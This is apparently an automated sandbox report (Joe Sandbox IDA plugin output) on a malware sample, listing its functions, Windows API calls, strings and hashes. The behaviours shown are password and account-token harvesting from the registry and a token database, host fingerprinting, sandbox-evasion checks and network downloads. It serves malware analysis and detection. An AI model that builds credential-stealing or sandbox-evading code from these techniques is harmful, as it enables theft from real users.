Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 991097200e3f3986b00727b8e04d0ccc938683cf049b1a3c2dcf1bd456b0a09d
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 991097200e3f3986b00727b8e04d0ccc938683cf049b1a3c2dcf1bd456b0a09d
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

C, xrefs: 0041754C
\, xrefs: 00417560
:, xrefs: 0041755C

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00920548,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,0091CEB8), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,00920CD8), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: eb07da51a4deac9b8075a4f2a5d3f7e9c4a0c4251229c2a06bfa5ce6b94ba52d
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: eb07da51a4deac9b8075a4f2a5d3f7e9c4a0c4251229c2a06bfa5ce6b94ba52d
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00920470,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00920470,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountId, xrefs: 0040BCC4
AccountTokens, xrefs: 0040BABA
AccountTokens, xrefs: 0040BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 1ee74af822f6ba62d0f7424ea3ed8e515a761e2f20be9df4aef2debbe5a0458d
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: 1ee74af822f6ba62d0f7424ea3ed8e515a761e2f20be9df4aef2debbe5a0458d
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: a56c18f6a8e036f8b5130d6e607b8bed7a49f8965ae2d7d0d74e6c8ccafdc211
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: a56c18f6a8e036f8b5130d6e607b8bed7a49f8965ae2d7d0d74e6c8ccafdc211
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00918990), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00918B88), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00918A08), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00918AE0), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00918AC8), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00918490), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00912D58), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00912DB8), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,009189A8), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00918BA0), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00919F10), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00919E20), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00912DD8), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,00919E68), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00918580,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,00918580,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 69548e9f7b0c997070e8e7643a6d484cc2a1657e3649f1ee2c31899339907b6b
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: 69548e9f7b0c997070e8e7643a6d484cc2a1657e3649f1ee2c31899339907b6b
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.KERNEL32(00000000,009203B0,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,00920308,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
